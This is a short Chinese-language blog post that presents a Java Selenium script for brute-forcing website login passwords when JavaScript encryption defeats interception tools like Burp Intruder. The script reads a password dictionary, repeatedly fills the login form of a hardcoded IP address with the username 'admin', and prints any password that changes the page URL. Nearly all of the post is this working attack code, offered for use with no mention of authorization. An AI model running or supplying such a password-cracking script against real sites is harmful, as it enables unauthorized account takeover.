使用selenium进行密码破解（绕过账号密码JS加密）

经常碰到网站，账号密码通过js加密后进行提交。通过burp拦截抓到的账号密码是加密后的，所以无法通过burp instruder进行破解。只能模拟浏览器填写表单并点击登录按钮进行破解。于是想到了自动化web测试工具selenium，代码如下，测试效果还不错。

package com.example.tests;

import java.util.regex.Pattern;
import java.io.BufferedReader;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileReader;
import java.util.concurrent.TimeUnit;
import org.junit.*;
import static org.junit.Assert.*;
import static org.hamcrest.CoreMatchers.*;
import org.openqa.selenium.*;
import org.openqa.selenium.firefox.FirefoxDriver;
import org.openqa.selenium.support.ui.Select;

public class GS {
private WebDriver driver;
private String baseUrl;
private boolean acceptNextAlert = true;
private StringBuffer verificationErrors = new StringBuffer();

@Before
public void setUp() throws Exception {
driver = new FirefoxDriver();
baseUrl = "http://223.116.34.113:81/";
driver.manage().timeouts().implicitlyWait(30, TimeUnit.SECONDS);
}

@Test
public void testGS() throws Exception {

File file = new File("C:\\Users\\root\\Desktop\\xxx\\password.txt");   //加载密码字典
FileReader fr = new FileReader(file);
@SuppressWarnings("resource")
BufferedReader br = new BufferedReader(fr);
@SuppressWarnings("unused")
String str = "";

while ((str = br.readLine()) != null) {   //循环读取字典里的每一行
String url = baseUrl + "/web/login.aspx?" + str;  // 后边加上str是为了每次强制刷新url，加不加看具体情况
driver.get(url);
driver.findElement(By.id("txt_UserID")).clear();  //清空用户名输入框
driver.findElement(By.id("txt_UserID")).sendKeys(admin);  //设置用户名
driver.findElement(By.id("txt_Password")).clear();  //清空密码输入框
driver.findElement(By.id("txt_Password")).sendKeys(str);  //设置密码

driver.findElement(By.xpath("//a/span")).click();  //模拟点击登录按钮
Thread.sleep(1000);   //等待一秒，是否等待看具体情况。
String cururl = driver.getCurrentUrl();   // 获取当前url
if (!cururl.equals(url + "#")) {   //如果登录成功会跳转，则url会发生变化
System.out.println(str);   //输入可以登录成功的密码

}
}
}

@After
public void tearDown() throws Exception {
driver.quit();
String verificationErrorString = verificationErrors.toString();
if (!"".equals(verificationErrorString)) {
fail(verificationErrorString);
}
}

private boolean isElementPresent(By by) {
try {
driver.findElement(by);
return true;
} catch (NoSuchElementException e) {
return false;
}
}

private boolean isAlertPresent() {
try {
driver.switchTo().alert();
return true;
} catch (NoAlertPresentException e) {
return false;
}
}

private String closeAlertAndGetItsText() {
try {
Alert alert = driver.switchTo().alert();
String alertText = alert.getText();
if (acceptNextAlert) {
alert.accept();
} else {
alert.dismiss();
}
return alertText;
} finally {
acceptNextAlert = true;
}
}
}
